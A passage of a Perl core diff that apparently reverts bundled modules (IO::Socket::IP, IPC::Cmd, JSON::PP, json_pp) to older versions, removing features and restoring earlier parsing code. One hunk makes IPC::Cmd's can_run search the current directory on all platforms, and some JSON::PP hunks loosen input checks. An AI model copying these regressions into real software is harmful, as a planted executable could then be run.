 
 =item require_order
 
diff --git a/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm b/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm
index 5a5ee7d204a9..1bf6b0ea89bc 100644
--- a/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm
+++ b/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm
@@ -7,7 +7,7 @@ package IO::Socket::IP;
 # $VERSION needs to be set before  use base 'IO::Socket'
 #  - https://rt.cpan.org/Ticket/Display.html?id=92107
 BEGIN {
-   $VERSION = '0.39';
+   $VERSION = '0.38';
 }
 
 use strict;
@@ -31,7 +31,7 @@ use Socket 1.97 qw(
 my $AF_INET6 = eval { Socket::AF_INET6() }; # may not be defined
 my $AI_ADDRCONFIG = eval { Socket::AI_ADDRCONFIG() } || 0;
 use POSIX qw( dup2 );
-use Errno qw( EINVAL EINPROGRESS EISCONN ENOTCONN ETIMEDOUT EWOULDBLOCK EOPNOTSUPP );
+use Errno qw( EINVAL EINPROGRESS EISCONN ENOTCONN ETIMEDOUT EWOULDBLOCK );
 
 use constant HAVE_MSWIN32 => ( $^O eq "MSWin32" );
 
@@ -154,7 +154,7 @@ sub import
       if( setsockopt $testsock, IPPROTO_IPV6, IPV6_V6ONLY, 0 ) {
          return $can_disable_v6only = 1;
       }
-      elsif( $! == EINVAL || $! == EOPNOTSUPP ) {
+      elsif( $! == EINVAL ) {
          return $can_disable_v6only = 0;
       }
       else {
diff --git a/cpan/IPC-Cmd/lib/IPC/Cmd.pm b/cpan/IPC-Cmd/lib/IPC/Cmd.pm
index a42c21b84ee1..c0e25a22fb36 100644
--- a/cpan/IPC-Cmd/lib/IPC/Cmd.pm
+++ b/cpan/IPC-Cmd/lib/IPC/Cmd.pm
@@ -18,7 +18,7 @@ BEGIN {
                         $HAVE_MONOTONIC
                     ];
 
-    $VERSION        = '1.00';
+    $VERSION        = '0.96';
     $VERBOSE        = 0;
     $DEBUG          = 0;
     $WARN           = 1;
@@ -242,7 +242,7 @@ sub can_run {
     } else {
         for my $dir (
             File::Spec->path,
-            ( IS_WIN32 ? File::Spec->curdir : () )
+            File::Spec->curdir
         ) {
             next if ! $dir || ! -d $dir;
             my $abs = File::Spec->catfile( IS_WIN32 ? Win32::GetShortPathName( $dir ) : $dir, $command);
@@ -531,7 +531,6 @@ sub open3_run {
     $child_err->autoflush(1);
 
     my $pid = open3($child_in, $child_out, $child_err, $cmd);
-    Time::HiRes::usleep(1);
 
     # push my child's pid to our parent
     # so in case i am killed parent
@@ -743,29 +742,6 @@ STDOUT from the executing program.
 Coderef of a subroutine to call when a portion of data is received on
 STDERR from the executing program.
 
-=item C
-
-Coderef of a subroutine to call inside of the main waiting loop
-(while C waits for the external to finish or fail).
-It is useful to stop running external process before it ends
-by itself, e.g.
-
-  my $r = run_forked("some external command", {
-	  'wait_loop_callback' => sub {
-          if (condition) {
-              kill(1, $$);
-          }
-	  },
-	  'terminate_on_signal' => 'HUP',
-	  });
-
-Combined with C and C allows terminating
-external command based on its output. Could also be used as a timer
-without engaging with L (signals).
-
-Remember that this code could be called every millisecond (depending
-on the output which external command generates), so try to make it
-as lightweight as possible.
 
 =item C
 
@@ -1099,10 +1075,6 @@ sub run_forked {
           push @{$ready_fds}, $select->can_read(1/100) if $child_finished;
         }
 
-        if ($opts->{'wait_loop_callback'} && ref($opts->{'wait_loop_callback'}) eq 'CODE') {
-          $opts->{'wait_loop_callback'}->();
-        }
-
         Time::HiRes::usleep(1);
       }
 
diff --git a/cpan/IPC-Cmd/t/03_run-forked.t b/cpan/IPC-Cmd/t/03_run-forked.t
index 42e7709635d2..54253344fd3e 100644
--- a/cpan/IPC-Cmd/t/03_run-forked.t
+++ b/cpan/IPC-Cmd/t/03_run-forked.t
@@ -83,7 +83,6 @@ close($fh);
 
 SKIP: {
   skip 'Skip these tests in PERL_CORE', 100 if $ENV{PERL_CORE};
-  skip 'These tests heisenfail on HPUX', 100 if $^O eq 'hpux';
   for (my $i = 0; $i < 100; $i++) {
     my $f_ipc_cmd = IPC::Cmd::run_forked("$cat $filename");
     my $f_backticks = `$cat $filename`;
diff --git a/cpan/JSON-PP/bin/json_pp b/cpan/JSON-PP/bin/json_pp
index e1d1c5fff89d..39bed4d7cf57 100644
--- a/cpan/JSON-PP/bin/json_pp
+++ b/cpan/JSON-PP/bin/json_pp
@@ -6,6 +6,8 @@ use Getopt::Long;
 
 use JSON::PP ();
 
+my $VERSION = '1.00';
+
 # imported from JSON-XS/bin/json_xs
 
 my %allow_json_opt = map { $_ => 1 } qw(
@@ -20,11 +22,11 @@ GetOptions(
    't=s' => \( my $opt_to = 'json' ),
    'json_opt=s' => \( my $json_opt = 'pretty' ),
    'V'   => \( my $version ),
-) or die "Usage: $0 [-V] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]\n";
+) or die "Usage: $0 [-v] -f from_format [-t to_format]\n";
 
 
 if ( $version ) {
-    print "$JSON::PP::VERSION\n";
+    print "$VERSION\n";
     exit;
 }
 
@@ -50,17 +52,12 @@ my %F = (
 my %T = (
    'null' => sub { "" },
    'json' => sub {
-      my $json = JSON::PP->new->utf8;
+      my $json = JSON::PP->new;
       $json->$_() for @json_opt;
       $json->encode( $_ );
    },
    'dumper' => sub {
       require Data::Dumper;
-      local $Data::Dumper::Terse     = 1;
-      local $Data::Dumper::Indent    = 1;
-      local $Data::Dumper::Useqq     = 1;
-      local $Data::Dumper::Quotekeys = 0;
-      local $Data::Dumper::Sortkeys  = 1;
       Data::Dumper::Dumper($_)
    },
 );
@@ -94,7 +91,7 @@ json_pp - JSON::PP command utility
 
 =head1 SYNOPSIS
 
-    json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]
+    json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json]
 
 =head1 DESCRIPTION
 
@@ -154,12 +151,6 @@ Acceptable options are:
     ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
     allow_singlequote allow_barekey allow_bignum loose escape_slash
 
-Multiple options must be separated by commas:
-
-    Right: -json_opt pretty,canonical
-
-    Wrong: -json_opt pretty -json_opt canonical
-
 =head2 -v
 
 Verbose option, but currently no action in fact.
diff --git a/cpan/JSON-PP/lib/JSON/PP.pm b/cpan/JSON-PP/lib/JSON/PP.pm
index 714c848d9b67..9337ce9a7691 100644
--- a/cpan/JSON-PP/lib/JSON/PP.pm
+++ b/cpan/JSON-PP/lib/JSON/PP.pm
@@ -4,17 +4,14 @@ package JSON::PP;
 
 use 5.005;
 use strict;
-
-use Exporter ();
-BEGIN { @JSON::PP::ISA = ('Exporter') }
-
+use base qw(Exporter);
 use overload ();
-use JSON::PP::Boolean;
 
 use Carp ();
+use B ();
 #use Devel::Peek;
 
-$JSON::PP::VERSION = '2.97001';
+$JSON::PP::VERSION = '2.27400_02';
 
 @JSON::PP::EXPORT = qw(encode_json decode_json from_json to_json);
 
@@ -44,13 +41,6 @@ use constant P_AS_NONBLESSED        => 17;
 use constant P_ALLOW_UNKNOWN        => 18;
 
 use constant OLD_PERL => $] < 5.008 ? 1 : 0;
-use constant USE_B => 0;
-
-BEGIN {
-if (USE_B) {
-    require B;
-}
-}
 
 BEGIN {
     my @xs_compati_bit_properties = qw(
@@ -64,31 +54,31 @@ BEGIN {
 
     # Perl version check, Unicode handling is enabled?
     # Helper module sets @JSON::PP::_properties.
-    if ( OLD_PERL ) {
+    if ($] < 5.008 ) {
         my $helper = $] >= 5.006 ? 'JSON::PP::Compat5006' : 'JSON::PP::Compat5005';
         eval qq| require $helper |;
         if ($@) { Carp::croak $@; }
     }
 
     for my $name (@xs_compati_bit_properties, @pp_bit_properties) {
-        my $property_id = 'P_' . uc($name);
+        my $flag_name = 'P_' . uc($name);
 
         eval qq/
             sub $name {
                 my \$enable = defined \$_[1] ? \$_[1] : 1;
 
                 if (\$enable) {
-                    \$_[0]->{PROPS}->[$property_id] = 1;
+                    \$_[0]->{PROPS}->[$flag_name] = 1;
                 }
                 else {
-                    \$_[0]->{PROPS}->[$property_id] = 0;
+                    \$_[0]->{PROPS}->[$flag_name] = 0;
                 }
 
                 \$_[0];
             }
 
             sub get_$name {
-                \$_[0]->{PROPS}->[$property_id] ? 1 : '';
+                \$_[0]->{PROPS}->[$flag_name] ? 1 : '';
             }
         /;
     }
@@ -99,6 +89,16 @@ BEGIN {
 
 # Functions
 
+my %encode_allow_method
+     = map {($_ => 1)} qw/utf8 pretty allow_nonref latin1 self_encode escape_slash
+                          allow_blessed convert_blessed indent indent_length allow_bignum
+                          as_nonblessed
+                        /;
+my %decode_allow_method
+     = map {($_ => 1)} qw/utf8 allow_nonref loose allow_singlequote allow_bignum
+                          allow_barekey max_size relaxed/;
+
+
 my $JSON; # cache
 
 sub encode_json ($) { # encode
@@ -129,6 +129,9 @@ sub new {
     my $self  = {
         max_depth   => 512,
         max_size    => 0,
+        indent      => 0,
+        FLAGS       => 0,
+        fallback      => sub { encode_error('Invalid value. JSON can only reference.') },
         indent_length => 3,
     };
 
@@ -161,7 +164,7 @@ sub pretty {
     my $enable = defined $v ? $v : 1;
 
     if ($enable) { # indent_length(3) for JSON::XS compatibility
-        $self->indent(1)->space_before(1)->space_after(1);
+        $self->indent(1)->indent_length(3)->space_before(1)->space_after(1);
     }
     else {
         $self->indent(0)->space_before(0)->space_after(0);
@@ -193,24 +196,14 @@ sub get_max_size { $_[0]->{max_size}; }
 
 
 sub filter_json_object {
-    if (defined $_[1] and ref $_[1] eq 'CODE') {
-        $_[0]->{cb_object} = $_[1];
-    } else {
-        delete $_[0]->{cb_object};
-    }
+    $_[0]->{cb_object} = defined $_[1] ? $_[1] : 0;
     $_[0]->{F_HOOK} = ($_[0]->{cb_object} or $_[0]->{cb_sk_object}) ? 1 : 0;
     $_[0];
 }
 
 sub filter_json_single_key_object {
-    if (@_ == 1 or @_ > 3) {
-        Carp::croak("Usage: JSON::PP::filter_json_single_key_object(self, key, callback = undef)");
-    }
-    if (defined $_[2] and ref $_[2] eq 'CODE') {
+    if (@_ > 1) {
         $_[0]->{cb_sk_object}->{$_[1]} = $_[2];
-    } else {
-        delete $_[0]->{cb_sk_object}->{$_[1]};
-        delete $_[0]->{cb_sk_object} unless %{$_[0]->{cb_sk_object} || {}};
     }
     $_[0]->{F_HOOK} = ($_[0]->{cb_object} or $_[0]->{cb_sk_object}) ? 1 : 0;
     $_[0];
@@ -236,8 +229,7 @@ sub sort_by {
 }
 
 sub allow_bigint {
-    Carp::carp("allow_bigint() is obsoleted. use allow_bignum() instead.");
-    $_[0]->allow_bignum;
+    Carp::carp("allow_bigint() is obsoleted. use allow_bignum() insted.");
 }
 
 ###############################
@@ -277,11 +269,11 @@ sub allow_bigint {
         $indent_count = 0;
         $depth        = 0;
 
-        my $props = $self->{PROPS};
+        my $idx = $self->{PROPS};
 
         ($ascii, $latin1, $utf8, $indent, $canonical, $space_before, $space_after, $allow_blessed,
             $convert_blessed, $escape_slash, $bignum, $as_nonblessed)
-         = @{$props}[P_ASCII .. P_SPACE_AFTER, P_ALLOW_BLESSED, P_CONVERT_BLESSED,
+         = @{$idx}[P_ASCII .. P_SPACE_AFTER, P_ALLOW_BLESSED, P_CONVERT_BLESSED,
                     P_ESCAPE_SLASH, P_ALLOW_BIGNUM, P_AS_NONBLESSED];
 
         ($max_depth, $indent_length) = @{$self}{qw/max_depth indent_length/};
@@ -295,7 +287,7 @@ sub allow_bigint {
         }
 
         encode_error("hash- or arrayref expected (not a simple scalar, use allow_nonref to allow this)")
-             if(!ref $obj and !$props->[ P_ALLOW_NONREF ]);
+             if(!ref $obj and !$idx->[ P_ALLOW_NONREF ]);
 
         my $str  = $self->object_to_json($obj);
 
@@ -305,7 +297,7 @@ sub allow_bigint {
             utf8::upgrade($str);
         }
 
-        if ($props->[ P_SHRINK ]) {
+        if ($idx->[ P_SHRINK ]) {
             utf8::downgrade($str, 1);
         }
 
@@ -343,14 +335,13 @@ sub allow_bigint {
                 }
 
                 return "$obj" if ( $bignum and _is_bignum($obj) );
+                return $self->blessed_to_json($obj) if ($allow_blessed and $as_nonblessed); # will be removed.
 
-                if ($allow_blessed) {
-                    return $self->blessed_to_json($obj) if ($as_nonblessed); # will be removed.
-                    return 'null';
-                }
                 encode_error( sprintf("encountered object '%s', but neither allow_blessed "
                     . "nor convert_blessed settings are enabled", $obj)
-                );
+                ) unless ($allow_blessed);
+
+                return 'null';
             }
             else {
                 return $self->value_to_json($obj);
@@ -374,16 +365,15 @@ sub allow_bigint {
 
         for my $k ( _sort( $obj ) ) {
             if ( OLD_PERL ) { utf8::decode($k) } # key for Perl 5.6 / be optimized
-            push @res, $self->string_to_json( $k )
+            push @res, string_to_json( $self, $k )
                           .  $del
-                          . ( ref $obj->{$k} ? $self->object_to_json( $obj->{$k} ) : $self->value_to_json( $obj->{$k} ) );
+                          . ( $self->object_to_json( $obj->{$k} ) || $self->value_to_json( $obj->{$k} ) );
         }
 
         --$depth;
         $self->_down_indent() if ($indent);
 
-        return '{}' unless @res;
-        return '{' . $pre . join( ",$pre", @res ) . $post . '}';
+        return   '{' . ( @res ? $pre : '' ) . ( @res ? join( ",$pre", @res ) . $post : '' )  . '}';
     }
 
 
@@ -397,55 +387,36 @@ sub allow_bigint {
         my ($pre, $post) = $indent ? $self->_up_indent() : ('', '');
 
         for my $v (@$obj){
-            push @res, ref($v) ? $self->object_to_json($v) : $self->value_to_json($v);
+            push @res, $self->object_to_json($v) || $self->value_to_json($v);
         }
 
         --$depth;
         $self->_down_indent() if ($indent);
 
-        return '[]' unless @res;
-        return '[' . $pre . join( ",$pre", @res ) . $post . ']';
+        return '[' . ( @res ? $pre : '' ) . ( @res ? join( ",$pre", @res ) . $post : '' ) . ']';
     }
 
-    sub _looks_like_number {
-        my $value = shift;
-        if (USE_B) {
-            my $b_obj = B::svref_2object(\$value);
-            my $flags = $b_obj->FLAGS;
-            return 1 if $flags & ( B::SVp_IOK() | B::SVp_NOK() ) and !( $flags & B::SVp_POK() );
-            return;
-        } else {
-            no warnings 'numeric';
-            # if the utf8 flag is on, it almost certainly started as a string
-            return if utf8::is_utf8($value);
-            # detect numbers
-            # string & "" -> ""
-            # number & "" -> 0 (with warning)
-            # nan and inf can detect as numbers, so check with * 0
-            return unless length((my $dummy = "") & $value);
-            return unless 0 + $value eq $value;
-            return 1 if $value * 0 == 0;
-            return -1; # inf/nan
-        }
-    }
 
     sub value_to_json {
         my ($self, $value) = @_;
 
         return 'null' if(!defined $value);
 
+        my $b_obj = B::svref_2object(\$value);  # for round trip problem
+        my $flags = $b_obj->FLAGS;
+
+        return $value # as is 
+            if $flags & ( B::SVp_IOK | B::SVp_NOK ) and !( $flags & B::SVp_POK ); # SvTYPE is IV or NV?
+
         my $type = ref($value);
 
-        if (!$type) {
-            if (_looks_like_number($value)) {
-                return $value;
-            }
-            return $self->string_to_json($value);
+        if(!$type){
+            return string_to_json($self, $value);
         }
         elsif( blessed($value) and  $value->isa('JSON::PP::Boolean') ){
             return $$value == 1 ? 'true' : 'false';
         }
-        else {
+        elsif ($type) {
             if ((overload::StrVal($value) =~ /=(\w+)/)[0]) {
                 return $self->value_to_json("$value");
             }
@@ -457,19 +428,25 @@ sub allow_bigint {
                        : encode_error("cannot encode reference to scalar");
             }
 
-            if ( $self->{PROPS}->[ P_ALLOW_UNKNOWN ] ) {
-                return 'null';
-            }
-            else {
-                if ( $type eq 'SCALAR' or $type eq 'REF' ) {
+             if ( $self->{PROPS}->[ P_ALLOW_UNKNOWN ] ) {
+                 return 'null';
+             }
+             else {
+                 if ( $type eq 'SCALAR' or $type eq 'REF' ) {
                     encode_error("cannot encode reference to scalar");
-                }
-                else {
+                 }
+                 else {
                     encode_error("encountered $value, but JSON can only represent references to arrays or hashes");
-                }
-            }
+                 }
+             }
 
         }
+        else {
+            return $self->{fallback}->($value)
+                 if ($self->{fallback} and ref($self->{fallback}) eq 'CODE');
+            return 'null';
+        }
+
     }
 
 
@@ -648,27 +625,19 @@ BEGIN {
 
     my $F_HOOK;
 
-    my $allow_bignum;   # using Math::BigInt/BigFloat
+    my $allow_bigint;   # using Math::BigInt
     my $singlequote;    # loosely quoting
     my $loose;          # 
     my $allow_barekey;  # bareKey
 
-    sub _detect_utf_encoding {
-        my $text = shift;
-        my @octets = unpack('C4', $text);
-        return 'unknown' unless defined $octets[3];
-        return ( $octets[0] and  $octets[1]) ? 'UTF-8'
-             : (!$octets[0] and  $octets[1]) ? 'UTF-16BE'
-             : (!$octets[0] and !$octets[1]) ? 'UTF-32BE'
-             : ( $octets[2]                ) ? 'UTF-16LE'
-             : (!$octets[2]                ) ? 'UTF-32LE'
-             : 'unknown';
-    }
+    # $opt flag
+    # 0x00000001 .... decode_prefix
+    # 0x10000000 .... incr_parse
 
     sub PP_decode_json {
-        my ($self, $want_offset);
+        my ($self, $opt); # $opt is an effective flag during this decode_json.
 
-        ($self, $text, $want_offset) = @_;
+        ($self, $text, $opt) = @_;
 
         ($at, $ch, $depth) = (0, '', 0);
 
@@ -676,19 +645,13 @@ BEGIN {
             decode_error("malformed JSON string, neither array, object, number, string or atom");
         }
 
-        my $props = $self->{PROPS};
+        my $idx = $self->{PROPS};
 
-        ($utf8, $relaxed, $loose, $allow_bignum, $allow_barekey, $singlequote)
-            = @{$props}[P_UTF8, P_RELAXED, P_LOOSE .. P_ALLOW_SINGLEQUOTE];
+        ($utf8, $relaxed, $loose, $allow_bigint, $allow_barekey, $singlequote)
+            = @{$idx}[P_UTF8, P_RELAXED, P_LOOSE .. P_ALLOW_SINGLEQUOTE];
 
         if ( $utf8 ) {
-            $encoding = _detect_utf_encoding($text);
-            if ($encoding ne 'UTF-8' and $encoding ne 'unknown') {
-                require Encode;
-                Encode::from_to($text, $encoding, 'utf-8');
-            } else {
-                utf8::downgrade( $text, 1 ) or Carp::croak("Wide character in subroutine entry");
-            }
+            utf8::downgrade( $text, 1 ) or Carp::croak("Wide character in subroutine entry");
         }
         else {
             utf8::upgrade( $text );
@@ -709,13 +672,27 @@ BEGIN {
             ) if ($bytes > $max_size);
         }
 
+        # Currently no effect
+        # should use regexp
+        my @octets = unpack('C4', $text);
+        $encoding =   ( $octets[0] and  $octets[1]) ? 'UTF-8'
+                    : (!$octets[0] and  $octets[1]) ? 'UTF-16BE'
+                    : (!$octets[0] and !$octets[1]) ? 'UTF-32BE'
+                    : ( $octets[2]                ) ? 'UTF-16LE'
+                    : (!$octets[2]                ) ? 'UTF-32LE'
+                    : 'unknown';
+
         white(); # remove head white space
 
-        decode_error("malformed JSON string, neither array, object, number, string or atom") unless defined $ch; # Is there a first character for JSON structure?
+        my $valid_start = defined $ch; # Is there a first character for JSON structure?
 
         my $result = value();
 
-        if ( !$props->[ P_ALLOW_NONREF ] and !ref $result ) {
+        return undef if ( !$result && ( $opt & 0x10000000 ) ); # for incr_parse
+
+        decode_error("malformed JSON string, neither array, object, number, string or atom") unless $valid_start;
+
+        if ( !$idx->[ P_ALLOW_NONREF ] and !ref $result ) {
                 decode_error(
                 'JSON text must be an object or array (but found number, string, true, false or null,'
                        . ' use allow_nonref to allow this)', 1);
@@ -727,11 +704,12 @@ BEGIN {
 
         white(); # remove tail white space
 
-        return ( $result, $consumed ) if $want_offset; # all right if decode_prefix
-
-        decode_error("garbage after JSON object") if defined $ch;
+        if ( $ch ) {
+            return ( $result, $consumed ) if ($opt & 0x00000001); # all right if decode_prefix
+            decode_error("garbage after JSON object");
+        }
 
-        $result;
+        ( $opt & 0x00000001 ) ? ( $result, $consumed ) : $result;
     }
 
 
@@ -752,12 +730,13 @@ BEGIN {
     }
 
     sub string {
+        my ($i, $s, $t, $u);
         my $utf16;
         my $is_utf8;
 
         ($is_valid_utf8, $utf8_len) = ('', 0);
 
-        my $s = ''; # basically UTF8 flag on
+        $s = ''; # basically UTF8 flag on
 
         if($ch eq '"' or ($singlequote and $ch eq "'")){
             my $boundChar = $ch;
@@ -857,10 +836,10 @@ BEGIN {
 
     sub white {
         while( defined $ch  ){
-            if($ch eq '' or $ch =~ /\A[ \t\r\n]\z/){
+            if($ch le ' '){
                 next_chr();
             }
-            elsif($relaxed and $ch eq '/'){
+            elsif($ch eq '/'){
                 next_chr();
                 if(defined $ch and $ch eq '/'){
                     1 while(defined(next_chr()) and $ch ne "\n" and $ch ne "\r");
@@ -951,7 +930,6 @@ BEGIN {
             }
         }
 
-        $at-- if defined $ch and $ch ne '';
         decode_error(", or ] expected while parsing array");
     }
 
@@ -1018,7 +996,7 @@ BEGIN {
 
         }
 
-        $at-- if defined $ch and $ch ne '';
+        $at--;
         decode_error(", or } expected while parsing object/hash");
     }
 
@@ -1068,24 +1046,39 @@ BEGIN {
         my $n    = '';
         my $v;
         my $is_dec;
-        my $is_exp;
-
-        if($ch eq '-'){
-            $n = '-';
-            next_chr;
-            if (!defined $ch or $ch !~ /\d/) {
-                decode_error("malformed number (no digits after initial minus)");
-            }
-        }
 
         # According to RFC4627, hex or oct digits are invalid.
         if($ch eq '0'){
             my $peek = substr($text,$at,1);
-            if($peek =~ /^[0-9a-dfA-DF]/){ # e may be valid (exponential)
+            my $hex  = $peek =~ /[xX]/; # 0 or 1
+
+            if($hex){
                 decode_error("malformed number (leading zero must not be followed by another digit)");
+                ($n) = ( substr($text, $at+1) =~ /^([0-9a-fA-F]+)/);
             }
-            $n .= $ch;
+            else{ # oct
+                ($n) = ( substr($text, $at) =~ /^([0-7]+)/);
+                if (defined $n and length $n > 1) {
+                    decode_error("malformed number (leading zero must not be followed by another digit)");
+                }
+            }
+
+            if(defined $n and length($n)){
+                if (!$hex and length($n) == 1) {
+                   decode_error("malformed number (leading zero must not be followed by another digit)");
+                }
+                $at += length($n) + $hex;
+                next_chr;
+                return $hex ? hex($n) : oct($n);
+            }
+        }
+
+        if($ch eq '-'){
+            $n = '-';
             next_chr;
+            if (!defined $ch or $ch !~ /\d/) {
+                decode_error("malformed number (no digits after initial minus)");
+            }
         }
 
         while(defined $ch and $ch =~ /\d/){
@@ -1112,7 +1105,6 @@ BEGIN {
 
         if(defined $ch and ($ch eq 'e' or $ch eq 'E')){
             $n .= $ch;
-            $is_exp = 1;
             next_chr;
 
             if(defined($ch) and ($ch eq '+' or $ch eq '-')){
@@ -1138,22 +1130,19 @@ BEGIN {
 
         $v .= $n;
 
-        if ($is_dec or $is_exp) {
-            if ($allow_bignum) {
-                require Math::BigFloat;
-                return Math::BigFloat->new($v);
+        if ($v !~ /[.eE]/ and length $v > $max_intsize) {
+            if ($allow_bigint) { # from Adam Sussman
+                require Math::BigInt;
+                return Math::BigInt->new($v);
             }
-        } else {
-            if (length $v > $max_intsize) {
-                if ($allow_bignum) { # from Adam Sussman
-                    require Math::BigInt;
-                    return Math::BigInt->new($v);
-                }
-                else {
-                    return "$v";
-                }
+            else {
+                return "$v";
             }
         }
+        elsif ($allow_bigint) {
+            require Math::BigFloat;
+            return Math::BigFloat->new($v);
+        }
 
         return $is_dec ? $v/1.0 : 0+$v;
     }
@@ -1191,14 +1180,11 @@ BEGIN {
         my $no_rep = shift;
         my $str    = defined $text ? substr($text, $at) : '';
         my $mess   = '';
-        my $type   = 'U*';
-
-        if ( OLD_PERL ) {
-            my $type   =  $] <  5.006           ? 'C*'
-                        : utf8::is_utf8( $str ) ? 'U*' # 5.6
-                        : 'C*'
-                        ;
-        }
+        my $type   = $] >= 5.008           ? 'U*'
+                   : $] <  5.006           ? 'C*'
+                   : utf8::is_utf8( $str ) ? 'U*' # 5.6
+                   : 'C*'
+                   ;
 
         for my $c ( unpack( $type, $str ) ) { # emulate pv_uni_display() ?
             $mess .=  $c == 0x07 ? '\a'
@@ -1289,26 +1275,26 @@ BEGIN {
        *utf8::is_utf8 = *Encode::is_utf8;
     }
 
-    if ( !OLD_PERL ) {
+    if ( $] >= 5.008 ) {
         *JSON::PP::JSON_PP_encode_ascii      = \&_encode_ascii;
         *JSON::PP::JSON_PP_encode_latin1     = \&_encode_latin1;
         *JSON::PP::JSON_PP_decode_surrogates = \&_decode_surrogates;
         *JSON::PP::JSON_PP_decode_unicode    = \&_decode_unicode;
+    }
 
-        if ($] < 5.008003) { # join() in 5.8.0 - 5.8.2 is broken.
-            package JSON::PP;
-            require subs;
-            subs->import('join');
-            eval q|
-                sub join {
-                    return '' if (@_ < 2);
-                    my $j   = shift;
-                    my $str = shift;
-                    for (@_) { $str .= $j . $_; }
-                    return $str;
-                }
-            |;
-        }
+    if ($] >= 5.008 and $] < 5.008003) { # join() in 5.8.0 - 5.8.2 is broken.
+        package JSON::PP;
+        require subs;
+        subs->import('join');
+        eval q|
+            sub join {
+                return '' if (@_ < 2);
+                my $j   = shift;
+                my $str = shift;
+                for (@_) { $str .= $j . $_; }
+                return $str;
+            }
+        |;
     }
 
 
@@ -1331,7 +1317,7 @@ BEGIN {
         sub JSON::PP::incr_text : lvalue {
             $_[0]->{_incr_parser} ||= JSON::PP::IncrParser->new;
 
-            if ( $_[0]->{_incr_parser}->{incr_pos} ) {
+            if ( $_[0]->{_incr_parser}->{incr_parsing} ) {
                 Carp::croak("incr_text cannot be called when the incremental parser already started parsing");
             }
             $_[0]->{_incr_parser}->{incr_text};
@@ -1352,14 +1338,13 @@ BEGIN {
         *JSON::PP::reftype = \&Scalar::Util::reftype;
         *JSON::PP::refaddr = \&Scalar::Util::refaddr;
     }
-    else{ # This code is from Scalar::Util.
+    else{ # This code is from Sclar::Util.
         # warn $@;
         eval 'sub UNIVERSAL::a_sub_not_likely_to_be_here { ref($_[0]) }';
         *JSON::PP::blessed = sub {
             local($@, $SIG{__DIE__}, $SIG{__WARN__});
             ref($_[0]) ? eval { $_[0]->a_sub_not_likely_to_be_here } : undef;
         };
-        require B;
         my %tmap = qw(
             B::NULL   SCALAR
             B::HV     HASH
@@ -1407,12 +1392,24 @@ BEGIN {
 $JSON::PP::true  = do { bless \(my $dummy = 1), "JSON::PP::Boolean" };
 $JSON::PP::false = do { bless \(my $dummy = 0), "JSON::PP::Boolean" };
 
-sub is_bool { blessed $_[0] and $_[0]->isa("JSON::PP::Boolean"); }
+sub is_bool { defined $_[0] and UNIVERSAL::isa($_[0], "JSON::PP::Boolean"); }
 
 sub true  { $JSON::PP::true  }
 sub false { $JSON::PP::false }
 sub null  { undef; }
 
+###############################
+
+package JSON::PP::Boolean;
+
+use overload (
+   "0+"     => sub { ${$_[0]} },
+   "++"     => sub { $_[0] = ${$_[0]} + 1 },
+   "--"     => sub { $_[0] = ${$_[0]} - 1 },
+   fallback => 1,
+);
+
+
 ###############################
 
 package JSON::PP::IncrParser;
@@ -1428,14 +1425,16 @@ use constant INCR_M_C1   => 5;
 
 $JSON::PP::IncrParser::VERSION = '1.01';
 
+my $unpack_format = $] < 5.006 ? 'C*' : 'U*';
+
 sub new {
     my ( $class ) = @_;
 
     bless {
         incr_nest    => 0,
         incr_text    => undef,
-        incr_pos     => 0,
-        incr_mode    => 0,
+        incr_parsing => 0,
+        incr_p       => 0,
     }, $class;
 }
 
@@ -1453,150 +1452,122 @@ sub incr_parse {
         $self->{incr_text} .= $text;
     }
 
+
+    my $max_size = $coder->get_max_size;
+
     if ( defined wantarray ) {
-        my $max_size = $coder->get_max_size;
-        my $p = $self->{incr_pos};
-        my @ret;
-        {
+
+        $self->{incr_mode} = INCR_M_WS unless defined $self->{incr_mode};
+
+        if ( wantarray ) {
+            my @ret;
+
+            $self->{incr_parsing} = 1;
+
             do {
-                unless ( $self->{incr_nest} <= 0 and $self->{incr_mode} == INCR_M_JSON ) {
-                    $self->_incr_parse( $coder );
+                push @ret, $self->_incr_parse( $coder, $self->{incr_text} );
 
-                    if ( $max_size and $self->{incr_pos} > $max_size ) {
-                        Carp::croak("attempted decode of JSON text of $self->{incr_pos} bytes size, but max_size is set to $max_size");
-                    }
-                    unless ( $self->{incr_nest} <= 0 and $self->{incr_mode} == INCR_M_JSON ) {
-                        # as an optimisation, do not accumulate white space in the incr buffer
-                        if ( $self->{incr_mode} == INCR_M_WS and $self->{incr_pos} ) {
-                            $self->{incr_pos} = 0;
-                            $self->{incr_text} = '';
-                        }
-                        last;
-                    }
+                unless ( !$self->{incr_nest} and $self->{incr_mode} == INCR_M_JSON ) {
+                    $self->{incr_mode} = INCR_M_WS if $self->{incr_mode} != INCR_M_STR;
                 }
 
-                my ($obj, $offset) = $coder->PP_decode_json( $self->{incr_text}, 0x00000001 );
-                push @ret, $obj;
-                use bytes;
-                $self->{incr_text} = substr( $self->{incr_text}, $offset || 0 );
-                $self->{incr_pos} = 0;
-                $self->{incr_nest} = 0;
-                $self->{incr_mode} = 0;
-                last unless wantarray;
-            } while ( wantarray );
-        }
+            } until ( length $self->{incr_text} >= $self->{incr_p} );
+
+            $self->{incr_parsing} = 0;
 
-        if ( wantarray ) {
             return @ret;
         }
         else { # in scalar context
-            return $ret[0] ? $ret[0] : undef;
+            $self->{incr_parsing} = 1;
+            my $obj = $self->_incr_parse( $coder, $self->{incr_text} );
+            $self->{incr_parsing} = 0 if defined $obj; # pointed by Martin J. Evans
+            return $obj ? $obj : undef; # $obj is an empty string, parsing was completed.
         }
+
     }
+
 }
 
 
 sub _incr_parse {
-    my ($self, $coder) = @_;
-    my $text = $self->{incr_text};
+    my ( $self, $coder, $text, $skip ) = @_;
+    my $p = $self->{incr_p};
+    my $restore = $p;
+
+    my @obj;
     my $len = length $text;
-    my $p = $self->{incr_pos};
 
-INCR_PARSE:
+    if ( $self->{incr_mode} == INCR_M_WS ) {
+        while ( $len > $p ) {
+            my $s = substr( $text, $p, 1 );
+            $p++ and next if ( 0x20 >= unpack($unpack_format, $s) );
+            $self->{incr_mode} = INCR_M_JSON;
+            last;
+       }
+    }
+
     while ( $len > $p ) {
